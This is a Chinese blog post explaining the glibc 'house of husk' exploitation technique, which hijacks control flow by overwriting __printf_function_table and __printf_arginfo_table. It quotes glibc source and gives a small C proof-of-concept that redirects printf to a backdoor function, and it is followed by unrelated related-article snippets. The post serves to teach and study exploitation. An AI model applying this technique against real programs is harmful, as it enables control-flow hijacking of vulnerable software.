house of husk

利用说明

适用版本: glibc2.23 -- now

利用场景: UAF/大堆块/存在格式化字符的使用

利用条件:

  • 能使 __printf_function_table 处非空

  • 可以往 __printf_arginfo_table 处可写入地址

效果与限制:

可以劫持程序执行流, 但是参数不可控.

利用方式:

  • 劫持 __printf_function_table 使其非空

  • 劫持 __printf_arginfo_table 使其表中存放的 spec 的位置是后门或者我们的构造的利用链

  • 执行到 printf 函数时就可以将执行流劫持程序流

spec 是格式化字符,比如最后调用的是 printf("%S\n",a), 那么应该将 __printf_arginfo_table['S'] 的位置写入我们想要执行的地址

原理分析

printf 函数通过检查 __printf_function_table[sepc] 是否为空,来判断是否有自定义的格式化字符,如果判定为有的话,则会去执行 __printf_arginfo_table[spec] 处的函数指针,在这期间并没有进行任何地址的合法性检查.

你可以把 __printf_arginfo_table[spec] 当作 %spechook, __printf_function_table[sepc] 则标志着是否存在 hook 函数. 如何存在, 则在执行诸如 printf("%spec") 等格式化函数时, 则会去调用 hook 函数

__register_printf_function

该函数的作用是允许用户自定义格式化字符并进行注册, 以打印用户自定义数据类型的数据. __register_printf_function 函数是对 __register_printf_specifier 进行的封装, 这里就只看 __register_printf_specifier 函数

/* Register FUNC to be called to format SPEC specifiers.  */
int __register_printf_specifier (int spec, printf_function converter, printf_arginfo_size_function arginfo)
{   // spec 的范围在 [0, 255] 之间// #define UCHAR_MAX    255if (spec < 0 || spec > (int) UCHAR_MAX){__set_errno (EINVAL);return -1;}
​int result = 0;__libc_lock_lock (lock); // 上锁// __printf_function_table 表是否为空if (__printf_function_table == NULL){// 为 __printf_arginfo_table/__printf_function_table 分配空间// 可以看到这里分配的空间是: 256*8 * 2 = 0x1000// 第一个 256*8 是 __printf_arginfo_table 表// 第二个 256*8 是 __printf_function_table 表// 所以这两个表是挨着的__printf_arginfo_table = (printf_arginfo_size_function **)calloc(UCHAR_MAX + 1, sizeof(void *) * 2);if (__printf_arginfo_table == NULL){result = -1;goto out;}__printf_function_table = (printf_function **)(__printf_arginfo_table + UCHAR_MAX + 1);}// 为 spec 注册处理函数__printf_function_table[spec] = converter;__printf_arginfo_table[spec] = arginfo;
​out:__libc_lock_unlock (lock);
​return result;
}
libc_hidden_def (__register_printf_specifier)
weak_alias (__register_printf_specifier, register_printf_specifier)

整个逻辑还是比较清楚的, 来看看这两个表吧先.

// 就是两个函数指针表
typedef int printf_function (FILE *__stream,const struct printf_info *__info,const void *const *__args);
​
typedef int printf_arginfo_size_function (const struct printf_info *__info,size_t __n, int *__argtypes,int *__size);

vprintf

printf 函数调用了 vfprintf 函数,下面的代码是 vprintf 函数中的部分片段, 可以看出来如果 __printf_function_table 不为空, 那么就会调用 printf_positional 函数; 如果为空的话, 就会去执行默认格式化字符的代码部分.

int vfprintf (FILE *s, const CHAR_T *format, va_list ap, unsigned int mode_flags)
{
....../* Use the slow path in case any printf handler is registered.  */if (__glibc_unlikely (__printf_function_table != NULL|| __printf_modifier_table != NULL|| __printf_va_arg_table != NULL))goto do_positional;....../* Hand off processing for positional parameters.  */
do_positional:
......done = printf_positional (s, format, readonly_format, ap, &ap_save,done, nspecs_done, lead_str_end, work_buffer,save_errno, grouping, thousands_sep, mode_flags);
......return done;
}

printf_positional 函数中会在调用 __parse_one_specmb 函数: 一般都是这个, 调试的时候走的就是他

      /* Parse the format specifier.  */
#ifdef COMPILE_WPRINTFnargs += __parse_one_specwc (f, nargs, &specs[nspecs], &max_ref_arg);
#elsenargs += __parse_one_specmb (f, nargs, &specs[nspecs], &max_ref_arg);
#endif
......

这两个函数好像是一个玩意:)绷:

size_t
attribute_hidden
#ifdef COMPILE_WPRINTF
__parse_one_specwc (const UCHAR_T *format, size_t posn, struct printf_spec *spec, size_t *max_ref_arg)
#else
__parse_one_specmb (const UCHAR_T *format, size_t posn, struct printf_spec *spec, size_t *max_ref_arg)
#endif
{
......if (__builtin_expect (__printf_function_table == NULL, 1)|| spec->info.spec > UCHAR_MAX|| __printf_arginfo_table[spec->info.spec] == NULL|| (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec]) (&spec->info, 1, &spec->data_arg_type, &spec->size)) < 0){......

可以看到当 __printf_function_table 不为空时, 最后执行了 (*__printf_arginfo_table[spec->info.spec]) 指向的函数, 这里就是注册的函数指针. 所以如果我们能够篡改 __printf_arginfo_table 中存放的地址, 将其改为我们可控的内存地址, 这样就需要在 __printf_arginfo_table[spec] 写上我们想要执行的函数地址即可控制程序的执行流, 但是这里的参数适合不可控.(没有细研究, printf 的调用链挺复杂的)

__printf_arginfo_table[spec->info.spec] 是设置参数类型的函数

利用方式

__printf_arginfo_table__printf_function_table 是在 libc 上, 可读可写, 所以我们可以篡改其的值到堆上, 然后在堆上设置相关函数指针:

demo 如下:

#include <stdio.h>
#include <string.h>
void backdoor()
{puts("hacker");
}
​
int main()
{char* s = "hello world";long long* table = malloc(0x1000);long long* args_table = &table[0];long long* func_table = &table[256];
​long long libc = (long long)&puts - 0x84420;printf("libc base: %#p\n", libc);*(long long*)(libc + 0x1ed7b0) = (long long)args_table;*(long long*)(libc + 0x1f1318) = (long long)func_table;
​args_table['s'] = (long long)backdoor;func_table['s'] = (long long)backdoor;printf("content: %s\n", s);return 0;
}

效果如下:

libc base: 0x7fb7270d0000
content: hacker
hacker
hacker
​

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/153980.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

034、test

之——全纪录 目录 之——全纪录 杂谈 正文 1.下载处理数据 2.数据集概览 3.构建自定义dataset 4.初始化网络 5.训练 杂谈 综合方法试一下。 leaves 1.下载处理数据 从官网下载数据集&#xff1a;Classify Leaves | Kaggle 解压后有一个图片集&#xff0c;一个提交示…

信息系统项目管理师-范围管理论文提纲

快速导航 1.信息系统项目管理师-项目整合管理 2.信息系统项目管理师-项目范围管理 3.信息系统项目管理师-项目进度管理 4.信息系统项目管理师-项目成本管理 5.信息系统项目管理师-项目质量管理 6.信息系统项目管理师-项目资源管理 7.信息系统项目管理师-项目沟通管理 8.信息系…

只有cpu的时候加载模型

只有cpu的时候加载模型 checkpoint torch.load(model_path, map_locationtorch.device(‘cpu’))

Codeforces Round 910 (Div. 2) --- B-E 补题记录

B - Milena and Admirer Problem - B - Codeforces 题目大意&#xff1a; 现在给出一个无序序列&#xff0c;你可以使用任意次操作将这个无序序列修改为不递减序列&#xff0c;操作为你可以使用两个数a和b来替换ai&#xff0c;序列就变为了 ai-1&#xff0c; a&#xff0c;…

【C++ Primer Plus学习记录】for循环

很多情况下都需要程序执行重复的任务&#xff0c;C中的for循环可以轻松地完成这种任务。 我们来从程序清单5.1了解for循环所做的工作&#xff0c;然后讨论它是如何工作的。 //forloop.cpp #if 1 #include<iostream> using namespace std;int main() {int i;for (i 0; …

Ubuntu文件系统损坏:The root filesystem on /dev/sda5 requires a manual fsck

前言 Ubuntu在启动过程中&#xff0c;经常会遇到一些开故障&#xff0c;导致设备无法正常开机&#xff0c;例如文件系统损坏等。 故障描述 Ubuntu系统启动过程中&#xff0c;出现以下文件系统损坏错误&#xff1a; 产生原因 该故障是由磁盘检测不能通过导致&#xff0c;可能是因…

el-table中的文本居中

el-table中的文本居中 整个表格和内容居中的方式&#xff1a; header-cell-style设置头部居中&#xff1b; cell-style设置单元格内容居中<el-table:data"tableData":header-cell-style"{text-align:center}":cell-style"{text-align:center}&quo…

代码随想录 11.21 || 单调栈 LeetCode 84.柱状图中最大的矩形

84.柱状图中最大的矩形 给定 n 个非负整数&#xff0c;用来表示柱状图中各个柱子的高度。每个柱子彼此相邻&#xff0c;且宽度为 1。求在柱状图中&#xff0c;能够勾勒出来的矩形的最大面积。和 42.接雨水 类似&#xff0c;在由数组组成的柱状图中&#xff0c;根据条件求解。 图…

C++标准模板(STL)- 类型支持 (类型关系,检查是否能转换一个类型为另一类型,std::is_convertible)

类型特性 类型特性定义一个编译时基于模板的结构&#xff0c;以查询或修改类型的属性。 试图特化定义于 <type_traits> 头文件的模板导致未定义行为&#xff0c;除了 std::common_type 可依照其所描述特化。 定义于<type_traits>头文件的模板可以用不完整类型实例…

打破思维的玻璃罩

你是否听过这个实验&#xff1a;将一只跳蚤放进杯中&#xff0c;它很轻松就能跳出来。给杯子加上玻璃罩后&#xff0c;跳蚤一开始会不断尝试跳出来&#xff0c;但发现每次的努力都是徒劳的&#xff0c;慢慢就不再尝试。即便有一天玻璃罩被拿掉&#xff0c;跳蚤也不会认为自己可…

NLP:使用 SciKit Learn 的文本矢量化方法

一、说明 本文是使用所有 SciKit Learns 预处理方法生成文本数字表示的深入解释和教程。对于以下每个矢量化器&#xff0c;将给出一个简短的定义和实际示例&#xff1a;one-hot、count、dict、TfIdf 和哈希矢量化器。 SciKit Learn 是一个用于机器学习项目的广泛库&#xff0c;…

new Vue() 发生了什么

前言: 在Vue.js中&#xff0c;当你创建一个新的Vue实例时&#xff0c;通过 new Vue() 发生了一系列重要的操作&#xff0c;包括Vue实例的初始化、数据绑定、模板编译等。这个过程是Vue应用的核心&#xff0c;本文将深入探讨new Vue()发生了什么以及其原理&#xff0c;提供示例…

官宣!Sam Altman加入微软,OpenAI临时CEO曝光,回顾董事会‘’政变‘’始末

11月20日下午&#xff0c;微软首席执行官Satya Nadella在社交平台宣布&#xff0c;“微软仍然致力于与 OpenAI的合作伙伴关系。同时欢迎Sam Altman 和 Greg Brockman 及其团队加入微软&#xff0c;领导一个全新的AI研究团队”。 Sam第一时间对这个消息进行了确认。 此外&…

Dart笔记:glob 文件系统遍历

Dart笔记 文件系统遍历工具&#xff1a;glob 模块 作者&#xff1a;李俊才 &#xff08;jcLee95&#xff09;&#xff1a;https://blog.csdn.net/qq_28550263 邮箱 &#xff1a;291148484163.com 本文地址&#xff1a;https://blog.csdn.net/qq_28550263/article/details/13442…

2023 羊城杯 final

前言 笔者并未参加此次比赛, 仅仅做刷题记录. 题目难度中等偏下吧, 看你记不记得一些利用手法了. arrary_index_bank 考点: 数组越界 保护: 除了 Canary, 其他保护全开, 题目给了后门 漏洞点: idx/one 为 int64, 是带符号数, 所以这里存在向上越界, 并且 buf 为局部变量,…

ROS1余ROS2共存的一键安装(全)

ROS1的安装&#xff1a; ROS的一键安装&#xff08;全&#xff09;_ros一键安装_牙刷与鞋垫的博客-CSDN博客 ROS2的安装 在开始这一部分的ROS2安装之前&#xff0c;是可以安装ROS1的&#xff0c;当然如果你只需要安装ROS2的话就执行从此处开始的代码即可 我是ubuntu20.4的版…

Ansible的when语句做条件判断

环境 控制节点&#xff1a;Ubuntu 22.04Ansible 2.10.8管理节点&#xff1a;CentOS 8 使用 when 语句做条件判断 创建文件 test1.yml 如下&#xff1a; --- - hosts: alltasks:- name: task1debug:msg: "hello"when: 1 > 0- name: task2debug:msg: "OK&q…

电力感知边缘计算网关产品设计方案-业务流程设计

1.工业数据通信流程 工业数据是由仪器仪表、PLC、DCS等工业生产加工设备提供的,通过以太网连接工业边缘计算网关实现实时数据采集。按照现有的通信组网方案,在理想通信状态下可以保证有效获取工业数据的真实性和有效性。 边缘计算数据通信框架图: 2.边缘计算数据处理方案 …

makefile备忘

结构描述 目标 … : 依赖 … 命令1 命令2 . . . 标记符 CFLAGS $^ 表示所有的依赖文件 $ 表示生成的目标文件 $< 代表第一个依赖文件 调试信息选项&#xff1a;-g优化选项&#xff1a;-O编译警告选项&#xff1a;-Wall指定包含目录选项&#xff1a;-I指定库目录选项&am…